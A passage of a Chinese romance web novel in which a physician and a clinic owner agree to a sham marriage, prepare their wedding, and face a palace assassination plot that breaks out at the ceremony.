孟玉桐被他问得一怔,脸上掠过一丝茫然。他说的不无道理。 她抿了抿唇,片刻后才低声道:“正如你所说,找表兄帮忙,代价最小,我心中也更能坦然。可找你却不同……” 她抬起眼,目光复杂,“我们之前已有过婚约纠葛,若再因这事绑在一起,往后只怕更加牵扯不清。” “既然怕牵扯不清,”纪昀接过她的话,声音低沉而清晰,“那便不要清了。” 他看着她的眼睛,一字一句道,“你有没有想过,就顺势与我成婚?” 孟玉桐倏然睁大了眼睛,难以置信地看着他。 他在说什么? 将她的惊愕尽收眼底,纪昀眸中极快地闪过一丝难以捕捉的黯淡,随即恢复如常,语气也变得更为理智冷静:“你别误会,我指的是,假成婚。” 他条分缕析地陈述,“你也看到了,太妃对我的亲事同样虎视眈眈。你我若结成同盟,不仅可解各自眼下困局,婚后你依旧经营你的照隅堂,我亦照常在医官院供职,生活并不会有实质改变。待到时局稳定,风头过去,你我便可商议和离,一别两宽。” 孟玉桐初听只觉得荒谬,下意识便要拒绝。可冷静下来细想,他这番提议,竟与自己最初想找个人假结婚的念头不谋而合。 而且,若对象是纪昀,两人算是互相利用,各取所需,倒也谈不上谁欠谁人情,心理负担确实小了许多。 她蹙眉沉吟片刻,带着几分审视看向他:“即便如此,成婚终究不是儿戏,其中牵扯甚多……” “我明白你的顾虑。”纪昀接口,“正因不是儿戏,才需周密。为免节外生枝,在人前我们需得做足戏码,不能让人看出破绽。除此之外,一切皆如你所愿,互不干涉。” 见他考虑得如此周全,态度也坦诚,孟玉桐心中的抵触渐渐消弭。 她沉默片刻,终于问道:“那婚期定在何时?” 纪昀自袖中取出那份婚书,指着末尾一处:“未免夜长梦多,自然是越早越好。十月初九便是黄道吉日,距现在尚有一个多月,筹备婚礼也来得及。” 孟玉桐面露犹豫。 纪昀补充道,语气带着不容忽视的凝重:“十一月前,宫中尚有数场宴席。今日我们当众驳了太妃颜面,难保她不会另寻他法施压。在此之前,你嫁入纪家,名分既定,方是最稳妥的自保之策。” 权衡利弊,思及太妃可能的后续手段,孟玉桐知道这已是眼下最好的选择。 她深吸一口气,终是点了点头:“好,便依你所言,十月初九。但我希望你清楚,我们之间,只是假成婚。” 她郑重强调。 “嗯。”纪昀淡淡应声。 见她终于应下提议,纪昀一直紧绷的肩颈几不可察地松泛了几分。 他将手中那纸婚书仔细折好,动作轻缓而郑重。 他面上瞧着与平日并无二致,依旧是那副清冷自持的模样,可若细看,便会发现他修长的指尖在完成这简单动作时,竟带着一丝难以抑制的细微颤抖。 自中秋那夜,前尘记忆如潮水般涌回,他便不曾安枕。 上一世酿成的悲剧,瑾安与青书固然是推手,可真正的罪魁祸首,何尝不是他那自以为是的“保护”? 他以为,只要治好瑾安的心疾,他既可以完成兄长的遗愿,又可以消弭瑾安的心结,不让孟玉桐受牵连。 是他错估了人心的偏执与疯狂。 有些人,从根子上便是扭曲的,连同在兄长面前那温顺的模样,恐怕都是精心伪装的假象。 这一次,他绝不会再重蹈覆辙。 既然上天给了他重来的机会,他定要亲手扭转乾坤,护她周全。 第105章 第105章你起了红疹? 马车离开皇城,一路向前。 马车内,两人说话间,孟玉桐目光不经意扫过他的脖颈,忽然凝住。那上面似乎有几点极淡的红色点印。 她心念微动,不由向前倾了倾身,仔细看去:“你起了红疹?中秋那夜在照隅堂,你分明未曾饮山楂酒,为何会这样?” 她这一问,让纪昀微微一怔。 他的确未曾饮酒,但那山楂酒的滋味……他却是尝过的。 一丝热意悄然爬上耳尖,他有些不自然地侧过脸,避开她探究的目光,声音依旧平稳,却带了几分含糊其辞:“那夜……不慎误饮了一口。” 孟玉桐将信将疑。 若此次起疹是因误饮山楂酒,那前世呢?前世的山楂酒尽数入了她的口,府中也未见其他与山楂相关之物,他那身红疹又是从何而来? 她思忖半晌,仍不得其解,又不能问他,索性暂且按下。 “青书又是怎么回事?”她转而问道,“我方才在宫中见他随侍在瑾安公主身侧。” 纪昀神色未变,语气平淡无波:“他人在我身边,心却不在此处。既非同道,强留无益,不如放他去想去之处,彼此都落个清净。” 听他如此说,孟玉桐心下稍安。 前世她终究是死于青书之手,若此番嫁入纪府,此人仍在近侧,难免要日夜提防。如今这个隐患既除,她也能稍稍放心。 只是,与纪昀成婚虽可暂解太妃之困,但瑾安岂会善罢甘休? 青书虽去,纪府之中,又会不会有第二个、第三个“青书”?答应这桩婚事,会不会是才出虎穴,又入狼窝? “你放心,”纪昀的声音在一旁淡淡响起,仿佛看穿了她的顾虑,“府中如今已清理干净,再无外人。待你过门,一切用度人手皆可依你心意安排,白芷与桂嬷嬷亦可贴身随侍。你安心,我才放心。” 孟玉桐蓦然抬眸,撞入他深不见底的眸光之中。 好奇怪。纪昀仿佛总能窥见她的想法。 她方才不过问及青书去向,他竟能立刻联想到她对于府中安危的隐忧。这份洞察力,着实有些可怕。 谈话间,马车已悄然停在了桃花街口。 纪昀送孟玉桐下车,直至照隅堂门前。 孟玉桐甫一踏入医馆,脚步便是一顿。 只见堂内几人见她回来,竟不由分说地一齐围了上来。待她站定,才看清来人。 刘思钧一身短打劲装沾着泥点,发髻微乱,额上还带着x汗迹,显然是刚从什么地方匆忙赶回,未来得及整理形容。 何浩川衣衫下摆溅满了泥泞,鞋底更是糊着厚厚一层黄泥,像是刚从山间雨中深一脚浅一脚地跋涉而来。 李璟往日里一丝不苟的锦袍此刻皱巴巴地贴在身上,衣角甚至蹭了些灰土,发冠也有些歪斜,神情是罕见的焦急与狼狈。 三人如同三堵人墙般将她围在中间。白芷费力地从人缝中挤出来,一把拉住孟玉桐的手,急急问道:“姑娘,宫里情况如何?太妃没有为难您吧?” 其余三人也目光灼灼,紧盯着她,屏息等待答案。 不等孟玉桐开口,纪昀已从容上前一步,自怀中取出那份婚书,徐徐展开,示于众人面前,声音清晰而平稳:“十月初九,纪某与玉桐大婚之期,届时,还望诸位赏光,前来饮一杯喜酒。” 他话音刚落,李璟便一个箭步冲上前,伸手欲夺那婚书细看。 纪昀却似早有预料,手腕一翻,已将婚书利落收回袖中。 “怎么会这样?!”李璟难以置信地瞪大眼睛,声音里满是错愕,“怎么……怎么忽然就要成婚了?!” 他今日回府,恰听见母亲提及宫中宴席,言语间似乎提到了孟玉桐的名字,还隐约涉及太妃赐婚之事。 他心下大惊,连话都未听全,便寻了个由头偷偷溜出府,直奔照隅堂想来探个究竟。 他一路设想了无数种可能,却唯独没有料到,等待他的,竟是孟玉桐与他表兄即将成婚的消息。 刘思钧拧着粗黑的眉毛,目光如炬地看向纪昀:“纪医官,这婚书是为解桐桐眼下之困,才出此权宜之计吧?你们预备将这戏演到几时?那劳什子太妃,究竟何时才肯放过桐桐?” 他心中懊恼万分,若非那农户家屋顶损毁得太过严重,几处主梁都显了裂痕,他带着人抢修了整日才勉强稳固,又何至于耽搁至此! 若是他能早几个时辰赶到,今日拿出婚书、名正言言顺护在她身前的人,本该是他! 何浩川站在一旁,嘴唇动了动,终究什么也没能说出口。 他只是默默垂下头,视线落在自己沾满泥泞、狼狈不堪的衣摆和鞋履上,一种无力感深深攫住了他。终究……还是迟了一步。 孟玉桐的目光在几人写满关切与复杂的脸上缓缓扫过,她虽不知白芷此前是如何同几人传话的,但此刻在这里见着几人,她心中只有感激。 不过,她既然已经与纪昀说好,此桩婚事虽是假的,可在外人面前,他们却要如正常夫妻一般,免得被人看出错处,横生枝节。 她定了定神,声音清晰而平静:“此前白芷心急,或许未能向诸位言明其中缘由,以致大家有所误会。我与纪昀的婚约,并非儿戏,亦非仅为解一时之困。十月初九,我二人将如期完婚。” 纪昀适时上前,极其自然地伸出手,轻轻揽住孟玉桐的肩头,姿态亲昵而维护。 这个动作落入在场其他三人眼中,如同无声的宣告,让他们眼中最后一丝希冀也彻底黯淡下去。 刘思钧重重叹了口气,抱拳道:“既如此……恭喜二位。” 说罢,他不再多言,转身大步离去,背影带着几分落拓与萧索。 何浩川也抬起头,努力想扯出一个笑容,却终究未能成功,只低声道了一句:“……祝玉桐姐姐和纪医官,百年好合。” 随即也默默转身,消失在门外夜色中。 唯独李璟仍立在原地,固执地看着孟玉桐,似乎还想追问究竟。 纪昀见状,松开孟玉桐,上前一把扯住李璟的衣领,不容分说地将人带到了医馆外的墙角。 “往后,为了她好,请离她远些。”纪昀声音带着不容置疑的冷意。 李璟下意识反驳:“凭什么?凭什么我靠近她便是对她不好?” 纪昀眸光幽深,理直气壮地沉声道:“我善妒。若见你日日在她跟前晃悠,心中不喜。” 李璟被他这毫不掩饰的直言噎住,表情如同生吞了一只苍蝇般,又是惊愕又是憋闷,“表兄!你……你早就对她存了别的心思是不是?今日这局面,你怕是等候多时了吧?!” 他虽不常过问府中琐事与朝堂风波,却也并非愚钝之人。 听了几人方才的言语,再联想祖母近日异样,他心中已隐约明白,定是祖母欲借孟玉桐的婚事来做文章,或许……还是为了敲打、断了他那点不该有的心思。 原来,自己竟成了引她入这困局的导火索。 而刘思钧与何浩川,乃至眼前这位表兄,一个个表面豪爽、温良、冷峻,内里却都藏了同样的私心,都想借着“解围”之名,行“占有”之实。 只不过,表兄手段更高,心思更深,早早算准了一切,运筹帷幄,将这盘棋下得滴水不漏。 李璟平生头一次,对自己往日只知吃喝玩乐的荒唐行径感到了深刻的懊悔。 若是他也能多读些书,明些事理,早些窥见这其中的暗涌,是不是……也能像表兄这般,从容地为她遮风挡雨,成为她的倚仗? 他垂头丧气,心中郁闷至极。 纪昀看着他这副模样,幽然道:“既想明白了,便早些回去。往后若无要事,莫要再来照隅堂,免得徒惹麻烦。” 李璟抬起袖子,有些窝囊地擦了擦微微发红的眼角,闷声闷气道:“你……你以后需得好好待她!若敢对她有半分不好,即便你是我表兄,我也定不与你干休!” 说完这几句,他重重跺了跺脚,终是沉着脸,转身融入了夜色之中。 待这些人都离去,医馆内总算重归宁静。白芷与吴明一左一右凑到孟玉桐身边,两双眼睛眨也不眨地盯着她,大有不将今夜之事问个水落石出便不罢休的架势。 孟玉桐无奈,先看向白芷:“你且先同我说说,方才你去寻祖母,具体是何情形?” 白芷忙道:“奴婢前脚刚到府里,正要同老太太禀明您交代的事,纪医官后脚便到了。老太太见奴婢着急,也未让纪医官回避,奴婢便当着他的面,将您吩咐的准备您与刘少当家婚书之事说了。” 她回想了一下,补充道,“奴婢说完,老太太看了纪医官一眼,两人都沉默着未曾说话。奴婢瞧着……纪医官那时的脸色,很是不好看。过了片刻,老夫人便让奴婢先回来,说余下之事交由她处置,奴婢便先行离开了。” 孟玉桐听罢,微微颔首。事情脉络与纪昀所言大致吻合。 想来是他恰巧撞见,或许他亦早料到太妃会借婚事发难,便顺水推舟,与祖母一同备下了这份他与自己的婚书,入宫为她解了围。 诚如他所言,一纸婚书本身并非关键。若依她最初所想,婚书上写的是她与刘思钧,在太妃的地盘上,对方自有千百种方法让她这婚约作废,届时太妃若强行将她指给窦志杰,她确实无力抗衡。 细想起来,此番能涉险过关,当真是多亏了纪昀。 第106章 第106章筹备 孟玉桐对白芷和吴明并未隐瞒,将假成婚的约定坦然相告,嘱咐二人务必守口如瓶。 白芷听罢,轻轻叹了口气,神色间却又有几分如释重负的欣慰:“姑娘先前费了那般周折,好不容易才退了婚,没成想如今又定了回来。 “不过,这段时日相处下来,奴婢冷眼瞧着,纪医官待姑娘确是真心实意的好。姑娘既已同他说明白了,往后能互相体谅,奴婢也就放心了。” 吴明却摇了摇头,眉头微蹙:“我咋觉得……今日这事儿,透着几分说不出的巧呢?” 白芷闻言,胳膊肘轻轻撞了他一下:“你浑说什么?若不是这般‘巧合’,姑娘这会儿怕是已经被许了出去,将来抬去窦府给那位妻妾成群的窦公子做不知第几房姨娘了!” “我不是这个意思……”吴明嘟囔着,将后半截话咽了回去。 他心里琢磨的“巧”,一是纪医官偏偏在那个节骨眼上出现在孟府;二是刘思钧与何浩川竟同时被意外绊住,来得那般迟。 诸多巧合凑在一处,难免让人心生疑窦。 所幸最终有惊无险,当家的算是暂时脱离了虎口。 今日一番惊心动魄下来,孟玉桐早已身心俱疲。她简单洗漱后回到房中,将纪昀今日给她的那半枚翠色双鱼佩取出,置于灯下。 莹莹灯火映照下,玉佩泛着温润的光泽。她的指尖无意识地在冰凉的玉面上流连,那初时的微冷很快化作一片妥帖的暖意,自指尖缓缓蔓延开来。 目光落在掌心那半枚x鱼儿佩上,线条流畅,鱼尾微摆,仿佛随时要游入虚空,去寻找它的另一半。 双鱼相依,首尾相衔,循环往复,无始无终,如同一个解不开的结。 她看着这半枚玉佩,心绪难平,又要……嫁给纪昀了么? 这一次,前方等待她的,又会是怎样的光景? * 九月十五,医官院。 时值白昼,医官院内药香弥漫。纪昀正将大红烫金的喜帖逐一派发给同僚。 朱直接过请柬,促狭地挤挤眼,捏着嗓子,刻意模仿着纪昀那日宫宴上的语气,学得惟妙惟肖:“‘此前种种,是我之过,惹你生气,别再同我置气了,可好?’” 他表情夸张,带着十足的戏谑,“了不得,真了不得!这还是咱们医官院里那个不解风情、眼中唯有医道典籍的纪昀吗?” 纪昀被他这般调侃,面上倒也未见恼意,只淡淡瞥他一眼。 朱直又凑近些,好奇道:“婚礼筹备得如何了?可需帮手?” “诸事已备妥**。”纪昀语气平静,细数下来,“府邸内外已修葺布置停当,一应仪程所需之物皆已齐备,宾客名单也已核定。” 朱直听得咋舌:“好家伙!这才过了一个月吧?你这手脚也忒利落了!不知道的,还当你生怕新娘子临时反悔,又跑……” 他话说到一半,自觉失言,连忙打住,嘿嘿干笑两声,“咳咳,我是说,谨慎些好,毕竟你可是被退过婚的人。” 纪昀眉头微蹙:“吉日将至,莫要说这些不吉利的话。” “哟呵!”朱直像是发现了什么了不得的事,围着纪昀转了小半圈,啧啧称奇,“你可真是变了!从前你哪会在意这些口彩忌讳?如今倒讲究起吉利不吉利了!啧啧,当真是英雄难过美人关,铁树也要开花了!” 纪昀不欲再与他纠缠此事,神色一正,转入正题:“院使,前次我与你提过,近来天气转寒,阴湿尤重,正是时行戾气易于滋生传播之时。去岁十月,北境曾有小范围‘畜疫’流传,虽未入我临安,但不可不防。 “需严加监控城中各处禽畜集市,对于城外流入的活禽、牲畜,尤需加强核验,查明来源地疫情,以防带入不洁之物,引发时疫。此事关乎民生,还望院使多加督促。” 他提及的,正是前世记忆中,约在此时段后不久,因城外流入的带病家禽而引发的一场规模不小的瘟疫。彼时应对仓促,损失不小。今生他既已知晓,便需尽力防范于未然。 朱直也收敛了玩笑神色,点头道:“你放心,此事我已有安排。已派人每日巡视东西两市禽畜行,对城外入城的相关货品设了卡点查验记录,一旦发现异常,立刻上报处置,绝不姑息。” 纪昀微微颔首。这段时日,他除了全力筹备婚事,最忧心的便是此事。他已私下收购储备了一批应对时疫的常用药材,并按着前世的疫病拟定了几个初步的防疫方剂,以备不时之需。 只是前世那疫病源头隐秘,具体由何途径、何地传入,他亦难以追溯分明,如今也只能做此粗略的防护与准备,但愿能有所裨益。 除此之外,还有上一世宫中莫名出现的刺客,如今瑾安与太妃之间愈发紧密的勾结……诸般暗流涌动,都需他时时警惕,多方防范。 思及此,纪昀不禁抬手,揉了揉微微发胀的眉心,一丝疲惫难以掩饰。 朱直在一旁瞧见,拍了拍他肩膀:“这段时日可是累着了?新郎官可得打起精神来,莫要大婚当日一脸倦容,惹了新娘子嫌弃!” 纪昀躲开他的动作,起身往外走,不欲再多言。 朱直在他身后扬声问:“这又要去哪儿啊?” 纪昀脚步未停,面无表情地抛下一句: “去接夫人,试婚服。” “嘿!”朱直在他身后笑得见牙不见眼,“这还没拜堂呢,就一口一个‘夫人’的,也不嫌害臊!” 今日天光晴好,出了医官院,纪昀亲自驾了马车来到照隅堂门前。 孟玉桐正核对药材账目,见他来了,放下手中册子。纪昀今日未着官袍,一身天青色的常服,衬得他眉目清朗,少了几分平日里的冷峻。 “婚服送到了,母亲请了宫中退下来的老绣娘亲手缝制,去试试是否合身。”他声音温和,目光落在她脸上,带着不易察觉的暖意。 孟玉桐微怔,随即点头。既是做戏,自然要做全套。 马车并未回纪府,而是去了城西一处清幽别院。此处是纪家私产,布置雅致,仆从安静有序。 正厅内,两套大红婚服整齐陈列在檀木架子上。男款庄重挺拔,银线绣着鸾鸟祥云纹,针脚细密,衬得衣料愈发挺括;女款华美繁复,裙裾层层叠叠,以彩金线绣着鸳鸯戏莲,花叶间还缀着细碎的珍珠扣,在光线下流光溢彩,璀璨夺目。 “先在隔壁厢房试吧,若有不合身之处,绣娘就在外间,可立刻修改。”纪昀示意。 孟玉桐由白芷陪着,进了东厢房。那婚服构造复杂,里外数层,系带环扣极多,白芷一人有些忙乱。正费力整理着腰封,门外响起纪昀的声音:“可需帮忙?” 孟玉桐本想拒绝,白芷却已扬声应了:“纪医官来得正好,这腰后的束带奴婢总系不紧实。” 门被轻轻推开,纪昀走了进来。他已换上了那套大红婚服,平日里清冷的气质被这浓烈的颜色一衬,竟显出一种惊心动魄的俊美,少了几分疏离淡漠,多了几分人间烟火的昳丽。 他走到孟玉桐身后,接过白芷手中的锦带。他的指尖不可避免地触到她后背单薄的中衣料子,两人皆是一顿。 “失礼了。”他低声道,声音比平时更沉几分。 孟玉桐能感觉到他温热的呼吸浅浅拂过她的后颈,带来一阵细微的战栗。她微微垂眸,看着身前巨大铜镜中映出的重叠身影,他站在她身后,低着头,神情专注地为她系着束带,动作轻柔却利落。 “你似乎又清减了些,”他系好束带,手并未立刻离开,而是在她不盈一握的腰际虚虚环了一下,眉头微蹙,“我让云州每日送去的燕窝羹,你没用么?” “用了。”孟玉桐如实回答,那羹汤甜腻,她其实并不喜,只是不想浪费。 纪昀若有所思地看了眼镜中她微抿的唇,不再追问。 纪昀只道:“明日换些别的送来。” 心下已开始盘算哪些药膳更温和滋补,且合她口味。 上一世孟玉桐很少喝这些养生补品,她就爱喝些冰凉酸甜的饮子,所以后来风寒之后身体底子才那般差,她日日操劳,身子得仔细养着,这些东西她自己是不会特意去准备的,他得多注意些。 外袍最后穿上,他为她整理领口时,指尖不经意擦过她颈侧细腻的皮肤。 孟玉桐往后退了半步,“我自己来吧。” 待全部穿戴整齐,两人一同望向镜中。 孟玉桐看着镜中那个凤冠霞帔、容颜被大红喜色映衬得愈发莹润明媚的女子,几乎有些认不出自己。 而纪昀看着身旁云鬓花颜、一身红衣灼灼如烈焰的她,眼底是毫不掩饰的惊艳,仿佛冰封的湖面骤然投入微光,漾开粼粼波光。 “孟姐姐!”纪明的声音伴着欢快的脚步声由远及近,小家伙一阵风似的跑进来,绕着孟玉桐转了两圈,黑溜溜的眼睛瞪得老大,“哇!孟姐姐你好漂亮!像画里的仙女一样!” 李婉也笑着走了进来,看着并肩而立的一双璧人,眼中满是欣慰:“好,好,正合身,这颜色衬得玉桐气色极好。” 她走到孟玉桐身边,替她正了正鬓边一只略歪的赤金凤钗,语气慈爱,“可有什么不合适的,不喜欢的,你只管说,我让人去改。” 孟玉桐温言笑道:“纪夫人,衣裳很合身,绣工精湛,式样华美,我很喜欢。” “这丫头,都这个时候了,你还叫我什么?”李婉面露嗔怪,拉着她的手,眼神中又带着隐隐希冀。 孟玉桐不由抬眸看向纪昀,纪昀上前拉过李婉,“母亲,衣裳既然没什么问题,你便同绣娘先回去吧。” 李婉的目光又落回两人身上,满眼都是止不住的欢喜,“好,好,我们便先回去,府里还有些事项要准备呢!” 第107章 第107章大婚 贤太妃所居的华明殿内,沉水香在错金博山炉中静静焚烧,青烟袅袅,却化不开殿宇深处那盘踞不散的阴冷之气。 贤太妃半倚在软榻上,眼帘低垂,手中慢悠悠地捻着一串油光水亮的沉香木佛珠。 瑾安公主跪坐在下方的蒲团上,x姿态恭顺,低眉敛目,打眼瞧上去,那姿态如同一只温驯的雀鸟。 “哀家的耐心,不多了。”太妃的声音响起,带着干涩的冷意,“景福那丫头,不过是仗着救过圣驾,性子张扬些,平日里倒也翻不出太大风浪。若你再不能让哀家看到你的用处,哀家也懒得在你身上多费心力了。” 贤太妃之所以会与这个默默无闻,又孀居在宫殿瑾安有所交集,是在因为这宫中,她不喜景福,若是能有人取代景福的位置,她倒是乐见其成。 太妃虽地位尊崇,但皇帝因感念景福公主昔年舍身相救之情,对这个妹妹极为袒护,使得景福在宫中有颇大的权利。 例如,去年太妃欲耗巨资修缮自己颐养的园囿,景福一句“北境将士粮饷尚且吃紧,宫中不宜过于奢靡”,便让户部找了由头将款项压下; 又比如,太妃想安插亲信掌管内府库某些油水丰厚的职位,景福也能凭借其在宗亲中的影响力,推荐更得圣心的旁人。 皇后性子软和,惯常和稀泥,两不得罪,反倒让太妃觉得憋屈,深感自己这“老祖宗”的威严受到了挑战。 而瑾安,这个三年前被接回宫、此前几乎被遗忘的公主,最初并未入太妃之眼。 直到一次宫中夜宴,瑾安不慎打翻酒盏,污了某位正得宠、且与景福交好的妃嫔衣裙,言语间却四两拨千斤,不但将自己摘得干净,反倒让那妃嫔落了个急躁失仪的名声。 太妃冷眼旁观,看出了这丫头绵里藏针的机敏。 自那后,瑾安才渐渐能在太妃面前说得上几句话。 太妃很快发现,瑾安想要的远不止一个安稳前程。她看似柔弱,心机却深沉。 上一次景福中毒之事,她事后派人细细查过,所有线索竟都巧妙地断在无关紧要之人身上,硬是寻不到半点能钉死瑾安的证据。 这份手段,让她都暗自心惊。 瑾安想借她之手除掉景福,既扫清障碍,也能以此作为投名状,在她这里换取更大的权势和自由。 若非那个横空而世的孟玉桐和纪昀坏了事,景福此刻早已是一具枯骨,这后宫之中,还有谁敢与她唱反调? 瑾安抬起头,脸上依旧是那副我见犹怜的柔弱模样,眼神却透着一股孤冷:“太妃娘娘明鉴,瑾安自知愚钝,蒙娘娘不弃,方有今日。眼下确有一事,若成,既可解娘娘心头之患,亦可全瑾安一点微末心愿。” “哦?”太妃终于掀开眼皮,略显浑浊的眼中锐光一闪,如同暗夜中的老枭,牢牢锁住瑾安,“你待如何?” 瑾安膝行两步,凑得极近,声音压得低而又低,语速却极快:“十月初九,纪府大婚,圣上亦会亲临,届时诸多勋贵赴宴,纪府之中不比皇宫,难免有所疏漏。若此时,能有一二忠勇之士,甘冒奇险,于婚礼中行惊驾之举,制造些许混乱。 “瑾安愿拼死护驾,即便粉身碎骨,也在所不惜……”她说完,深深叩首,“瑾安别无他求,只望事后,父皇能念及一丝父女情分,多看瑾安一眼。他日若能在父皇面前说得上话,瑾安定当唯太妃娘娘之命是从,娘娘心中所愿,便是瑾安刀山火海也要达成的目标!” 太妃眼中寒光迸射,手中佛珠猛地攥紧,厉声低喝:“放肆!你好大的胆子!竟敢以圣驾安危为儿戏!” 瑾安此计,正是摸准了皇帝重情义的脾性。 昔日景福舍身救他,被皇帝记挂至今,恩宠有加。 若她瑾安此番也能“舍身”救驾,最好伤势严重,便足以在皇帝心中烙下深刻的印记。 瑾安伏在地上,额头紧贴着冰凉的砖,声音却异样冷静,甚至带着一丝蛊惑:“退一万步讲……若天意难测,那些忠勇之士手脚没了分寸,致使圣体蒙受不可挽回之损伤。 “国,不可一日无君。太子殿下年仅七岁,冲龄践祚,届时……朝堂后宫,诸多事宜,还需太妃娘娘与荣亲王殿下这等至亲长辈,多多费心扶持,方能稳定乾坤。” 她微微抬起一点头,目光幽深,“此事若成,前程锦绣;若事有不谐,所有干系,瑾安一人担之,与太妃绝无半分牵连。” 太妃沉默地盯着她,那目光似要将她洞穿。 殿内死寂,只有灯烛燃烧时偶尔爆开的细微哔剥声,敲在人心上。 许久,太妃才从鼻子里哼出一声冷音,语气复杂难辨,竟也有一丝不易察觉的欣赏:“哀家倒是小瞧了你。这般狠辣的心肠,这般孤注一掷的魄力……若哀家的衡儿,当年能有你一半的果决与冷硬,懂得当断则断,不那么感情用事,今日这把龙椅……又何至于落到他头上!” 她想起了自己的儿子李衡,当年竟痴迷上一个低贱的商户女,甚至动了真心。若非她当机立断,罗织罪名将那女子一家打入尘埃,恐怕儿子的前程早就毁于一旦。 在她看来,权势才是立身之本,任何阻碍,都该无情铲除。 她并未明确答应,但也不再斥责。 瑾安知道,太妃心动了。她太了解这位深宫妇人了,年华老去,对权势的贪婪却与日俱增。 哪怕只能多掌控一天,多享受一刻那至高无上、生杀予夺的滋味,她都愿意铤而走险。 瑾安依旧保持着最恭顺的俯首姿态,唇角在太妃视线不及之处,缓缓勾起一抹冷笑。 纪昀,你想风光大婚?我偏要你看重的好日子毁于一旦。 阿昭不在了,你想当做什么事都没有,娶妻生子? 做梦! * 十月初九,吉日良辰。 天光未亮,孟府之内已忙碌起来。 孟玉桐端坐镜前,由桂嬷嬷和吴嬷嬷亲手为她梳妆。凤冠霞帔,层层叠叠,将她清丽的容颜衬得雍容华贵,眉宇间平添几分惊心动魄的明艳。 孟老太太站在她身后,透过铜镜凝视着孙女,素来严肃的脸上此刻神情复杂。她接过桂嬷嬷手中的最后一支赤金衔珠凤钗,亲自为孟玉桐簪入发间,动作缓慢而郑重。 “桐丫头,”老太太的声音带着一丝沙哑,“祖母这辈子,不太会说话。从前对你,是严厉了些,总怕你行差踏错,怕你担不起孟家的门楣……好在,你没长歪。” 她粗糙的手轻轻抚过孟玉桐的肩头,眼中是难得的温和与欣慰,“你长成了如今这般模样,聪慧,坚韧,心地仁善,行事有度。祖母心里,很欣慰。” 她微微俯身,凑近孟玉桐耳边,声音压得极低,仅容二人听见:“你与纪昀此番婚事,虽是权宜之计。但祖母瞧着,那孩子,待你确是用了心的。往后的路还长,若你二人果真志趣相投,若他真心可鉴,日后之事,你也莫要过早下定论。” 孟玉桐心头微震,从镜中看向祖母的眼睛,唇瓣动了动,最终只是轻轻点了点头:“孙女明白了。” 吉时已到,鞭炮齐鸣。 孟玉桐由白芷和桂嬷嬷搀扶着,拜别祖母。府门外,花轿早已等候,刘思钧一身崭新衣袍,精神抖擞地等在轿前。 “妹子,上来!”他转过身,蹲下,宽阔的背脊显得异常可靠。 孟玉桐伏在他背上,被他稳稳背起。 自上回祖母点破刘思钧身份后,两人认了亲,刘思钧也与她说了许多秦州的事情。 刘思钧一步步走向花轿,步伐沉稳,声音比之以往的爽朗,更多了一丝怅然:“妹子,看到你今日顺顺当当出嫁,我这趟临安也算没白来。过几日,我就回秦州了。” 孟玉桐心中感念他这段时日的回护,轻声道:“表哥,多谢你。日后若有机会,我定去秦州拜访舅舅、舅母。” 刘思钧哈哈一笑,小心地将她送入轿中,隔着轿帘,声音依旧清晰:“好!那哥就在秦州等着你!记着,往后若是在这儿受了委屈,千万别忍着,你在秦州,还有个能替你撑腰的兄长!” 轿帘落下,隔绝了外面的喧嚣。孟玉桐端坐轿中,眼眶却不由自主地湿润了。 分明只是一场戏,可方才那一刻,心中涌起的空茫与离索,竟比前世真实出嫁时,更为真切。 花轿在震天的锣鼓声中抵达纪府。 纪府内外张灯结彩,入目皆是灼灼夺目的正红。檐下高悬大红灯笼,廊柱缠绕锦绣红绸,连庭院中那几株秋日里略显萧瑟的古树,也缀满了小巧的红绸花。 锣鼓喧天,喷呐欢唱,宾客如云,整个纪府都沉浸在一片前所未有的热闹与欢腾之中。 府门前更是热闹非凡,宾客盈门,贺喜之声不绝于耳。x 纪昀一身大红喜服,长身玉立于府门前,平日里清冷的面容今日也染上了几分暖意,眼角眉梢带着浅淡的笑意。 他亲自上前,迎出花轿。当他的手握住孟玉桐的时,掌心传来的温热让她微微一愣。 纪昀似乎察觉到她指尖的冰凉,稍稍用力握紧,侧首低声问:“手这样凉,可是紧张了?” 盖头下的孟玉桐小幅度的摇了摇头。 纪昀低低笑了一声,声音透过喧嚣传入她耳中:“也对,你素来是沉稳镇定的。紧张的,另有人在才是。” 第108章 第108章护她 孟玉桐动作顿了顿,任由他牵引着,跨过门口燃着的旺火盆,寓意婚后生活红红火火;又迈过马鞍,象征平安顺遂。 一路红毯铺地,直至喜堂。 堂内红烛高燃,宾客满座,皆是临安城中有头有脸的达官显贵。 最上首特设的紫檀木嵌螺钿扶手椅上,端坐着当今天子,虽只着了常服,但龙章凤姿,不怒自威。 景福公主与瑾安公主分坐两侧稍下的位置,青书垂首静立在瑾安身后,如同一个沉默的影子。 新人入堂,先至御前,依礼叩拜。皇帝面露温和笑意,虚扶一下:“今日是淮之的大喜之日,这些虚礼就免了。你能成家立业,朕心甚慰。” 他目光转向一旁眼眶微红的李婉,语气更为和煦,“婉妹,淮之终于成家了,你与宏业也可放心了。” 李婉忙敛衽回礼:“承蒙陛下挂念。” 赞礼官见状,适时高声唱喏: “一拜天地——” 两人转身,向外肃然叩拜。 “二拜高堂——” 纪昀父母端坐上方,满面欣慰与激动。两人深深躬身下拜。 “夫妻对拜——” 两人面对面站立,深深一揖。弯腰的瞬间,隔着朦胧的盖头,孟玉桐似乎能感受到那道来自纪昀的、专注而深沉的目光。 “礼成——送入洞房!” 欢呼声、笑闹声、祝福声如同潮水般涌起。纪昀紧紧牵着孟玉桐的手,正要离开喜堂。 就在此时,席间忽生暴动。 席间突然站起三四个人,动作快得让人来不及反应。他们手里握着短刀,直冲着上首的皇帝扑去。 “有刺客!护驾!”御前侍卫首领厉声嘶吼,堂内瞬间大乱,惊叫声、杯盘碎裂声不绝于耳。 纪昀反应极快,几乎在刺客动身的瞬间便已察觉不对。 他将孟玉桐往云舟方向一推,语速极快:“护好少夫人!” 自己则毫不犹豫地转身,迎向那几名穷凶极恶的刺客,挡在了皇帝前方。 云舟得令,立刻与白芷、桂嬷嬷一起,将孟玉桐护着退至堂柱后的角落。 孟玉桐心跳如擂鼓,目光疾扫过混乱的场面,当瞥见瑾安公主虽也面露惊惶,眼底却不见半分失措之色时,她心中猛地一沉。 难不成,瑾安又想故技重施,妄图以“救驾”之名,再次攫取圣心? 孟玉桐望向瑾安时,瑾安也恰好抬起眼,远远地望向她。 那双平日里伪装柔顺的眸子里,此刻竟翻滚着不加掩饰的狠绝,甚至还带着一丝挑衅般的诡异笑意。 孟玉桐心头寒意更甚,她对云舟急道:“你去助纪昀,我这里无妨。” 